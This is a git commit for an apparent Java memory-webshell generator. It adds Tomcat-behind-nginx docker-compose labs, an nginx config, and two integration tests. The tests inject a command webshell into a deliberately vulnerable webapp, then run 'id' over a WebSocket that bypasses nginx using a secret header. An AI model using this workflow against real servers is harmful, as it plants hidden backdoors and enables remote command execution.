feat: support Tomcat Command WebSocketBypassNginx

This commit is contained in:
ReaJason
2026-01-18 23:49:41 +08:00
parent 8458becfbc
commit 5b5c225edb
23 changed files with 849 additions and 53 deletions
@@ -0,0 +1,13 @@
services:
tomcat:
image: tomcat:10.1-jre11
volumes:
- ../../../vul/vul-webapp-jakarta/build/libs/vul-webapp-jakarta.war:/usr/local/tomcat/webapps/app.war
nginx:
image: nginx:latest
ports:
- "80:80"
volumes:
- ./nginx.conf:/etc/nginx/nginx.conf:ro
depends_on:
- tomcat
@@ -0,0 +1,13 @@
services:
tomcat:
image: tomcat:8-jre8
volumes:
- ../../../vul/vul-webapp/build/libs/vul-webapp.war:/usr/local/tomcat/webapps/app.war
nginx:
image: nginx:latest
ports:
- "80:80"
volumes:
- ./nginx.conf:/etc/nginx/nginx.conf:ro
depends_on:
- tomcat
@@ -0,0 +1,58 @@
user nginx;
worker_processes auto;
error_log /var/log/nginx/error.log notice;
pid /var/run/nginx.pid;
events {
worker_connections 1024;
}
http {
include /etc/nginx/mime.types;
default_type application/octet-stream;
log_format main '$remote_addr - $remote_user [$time_local] "$request" '
'$status $body_bytes_sent "$http_referer" '
'"$http_user_agent" "$http_x_forwarded_for"';
access_log /var/log/nginx/access.log main;
sendfile on;
tcp_nopush on;
keepalive_timeout 65;
gzip on;
upstream tomcat_backend {
server tomcat:8080;
}
server {
listen 80;
server_name localhost;
access_log /var/log/nginx/tomcat_access.log;
error_log /var/log/nginx/tomcat_error.log;
client_max_body_size 50M;
location / {
proxy_pass http://tomcat_backend;
proxy_set_header Host $host;
proxy_set_header X-Real-IP $remote_addr;
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
proxy_set_header X-Forwarded-Proto $scheme;
proxy_connect_timeout 60s;
proxy_send_timeout 60s;
proxy_read_timeout 60s;
proxy_buffering on;
proxy_buffer_size 4k;
proxy_buffers 8 4k;
proxy_busy_buffers_size 8k;
}
error_page 500 502 503 504 /50x.html;
location = /50x.html {
root /usr/share/nginx/html;
}
}
}
@@ -0,0 +1,73 @@
package com.reajason.javaweb.integration.memshell.tomcat;
import com.reajason.javaweb.godzilla.BlockingJavaWebSocketClient;
import com.reajason.javaweb.integration.ShellAssertion;
import com.reajason.javaweb.memshell.MemShellResult;
import com.reajason.javaweb.memshell.ServerType;
import com.reajason.javaweb.memshell.ShellTool;
import com.reajason.javaweb.memshell.ShellType;
import com.reajason.javaweb.memshell.config.CommandConfig;
import com.reajason.javaweb.memshell.config.ShellToolConfig;
import com.reajason.javaweb.packer.Packers;
import lombok.extern.slf4j.Slf4j;
import org.apache.commons.lang3.tuple.Pair;
import org.junit.jupiter.api.AfterAll;
import org.junit.jupiter.api.Test;
import org.objectweb.asm.Opcodes;
import org.testcontainers.containers.ComposeContainer;
import org.testcontainers.containers.wait.strategy.Wait;
import org.testcontainers.junit.jupiter.Container;
import org.testcontainers.junit.jupiter.Testcontainers;
import java.io.File;
import static org.junit.jupiter.api.Assertions.assertThrows;
import static org.junit.jupiter.api.Assertions.assertTrue;
/**
* @author ReaJason
* @since 2026/1/13
*/
@Testcontainers
@Slf4j
public class Tomcat8WebSocketBypassNginxTest {
public static final String imageName = "tomcat:8-jre8";
@Container
public static final ComposeContainer compose =
new ComposeContainer(new File("docker-compose/tomcat/docker-compose-8-jre8-nginx.yaml"))
.withExposedService("tomcat", 8080, Wait.forHttp("/app/"))
.withExposedService("nginx", 80);
public static String getUrl() {
String host = compose.getServiceHost("nginx", 80);
int port = compose.getServicePort("nginx", 80);
String url = "http://" + host + ":" + port + "/app";
log.info("container started, app url is : {}", url);
return url;
}
@Test
public void testWs() {
String url = getUrl();
String server = ServerType.TOMCAT;
String serverVersion = "Unknown";
int targetJdkVersion = Opcodes.V1_8;
String shellType = ShellType.BYPASS_NGINX_WEBSOCKET;
String shellTool = ShellTool.Command;
Packers packer = Packers.Base64;
Pair<String, String> urls = ShellAssertion.getUrls(url, shellType, shellTool, packer);
String shellUrl = urls.getLeft();
String urlPattern = urls.getRight();
ShellToolConfig shellToolConfig = ShellAssertion.getShellToolConfig(shellType, shellTool, packer);
MemShellResult generateResult = ShellAssertion.generate(urlPattern, server, serverVersion, shellType, shellTool, targetJdkVersion, shellToolConfig, packer);
ShellAssertion.packerResultAndInject(generateResult, url, shellTool, shellType, packer, null);
CommandConfig commandConfig = (CommandConfig) generateResult.getShellToolConfig();
// direct connect ws will cause failed
assertThrows(IllegalStateException.class, () -> BlockingJavaWebSocketClient.sendRequestWaitResponse(shellUrl, "id"), "WebSocket connection is not open.");
// connect by valve bypass will success
String response = BlockingJavaWebSocketClient.sendRequestWaitResponseWithHeader(shellUrl, "id", commandConfig.getHeaderName(), commandConfig.getHeaderValue());
assertTrue(response.contains("uid="));
}
}
@@ -0,0 +1,73 @@
package com.reajason.javaweb.integration.memshell.tomcat;
import com.reajason.javaweb.godzilla.BlockingJavaWebSocketClient;
import com.reajason.javaweb.integration.ShellAssertion;
import com.reajason.javaweb.memshell.MemShellResult;
import com.reajason.javaweb.memshell.ServerType;
import com.reajason.javaweb.memshell.ShellTool;
import com.reajason.javaweb.memshell.ShellType;
import com.reajason.javaweb.memshell.config.CommandConfig;
import com.reajason.javaweb.memshell.config.ShellToolConfig;
import com.reajason.javaweb.packer.Packers;
import lombok.extern.slf4j.Slf4j;
import org.apache.commons.lang3.tuple.Pair;
import org.junit.jupiter.api.AfterAll;
import org.junit.jupiter.api.Test;
import org.objectweb.asm.Opcodes;
import org.testcontainers.containers.ComposeContainer;
import org.testcontainers.containers.wait.strategy.Wait;
import org.testcontainers.junit.jupiter.Container;
import org.testcontainers.junit.jupiter.Testcontainers;
import java.io.File;
import static org.junit.jupiter.api.Assertions.assertThrows;
import static org.junit.jupiter.api.Assertions.assertTrue;
/**
* @author ReaJason
* @since 2026/1/13
*/
@Testcontainers
@Slf4j
public class tomcat10WebSocketBypassNginxTest {
public static final String imageName = "tomcat:10.1-jre11";
@Container
public static final ComposeContainer compose =
new ComposeContainer(new File("docker-compose/tomcat/docker-compose-10.1-jre11-nginx.yaml"))
.withExposedService("tomcat", 8080, Wait.forHttp("/app/"))
.withExposedService("nginx", 80);
@Test
public void testWs() {
String url = getUrl();
String server = ServerType.TOMCAT;
String serverVersion = "Unknown";
int targetJdkVersion = Opcodes.V11;
String shellType = ShellType.JAKARTA_BYPASS_NGINX_WEBSOCKET;
String shellTool = ShellTool.Command;
Packers packer = Packers.Base64;
Pair<String, String> urls = ShellAssertion.getUrls(url, shellType, shellTool, packer);
String shellUrl = urls.getLeft();
String urlPattern = urls.getRight();
ShellToolConfig shellToolConfig = ShellAssertion.getShellToolConfig(shellType, shellTool, packer);
MemShellResult generateResult = ShellAssertion.generate(urlPattern, server, serverVersion, shellType, shellTool, targetJdkVersion, shellToolConfig, packer);
ShellAssertion.packerResultAndInject(generateResult, url, shellTool, shellType, packer, null);
CommandConfig commandConfig = (CommandConfig) generateResult.getShellToolConfig();
// direct connect ws will cause failed
assertThrows(IllegalStateException.class, () -> BlockingJavaWebSocketClient.sendRequestWaitResponse(shellUrl, "id"), "WebSocket connection is not open.");
// connect by valve bypass will success
String response = BlockingJavaWebSocketClient.sendRequestWaitResponseWithHeader(shellUrl, "id", commandConfig.getHeaderName(), commandConfig.getHeaderValue());
assertTrue(response.contains("uid="));
}
public static String getUrl() {
String host = compose.getServiceHost("nginx", 80);
int port = compose.getServicePort("nginx", 80);
String url = "http://" + host + ":" + port + "/app";
log.info("container started, app url is : {}", url);
return url;
}
}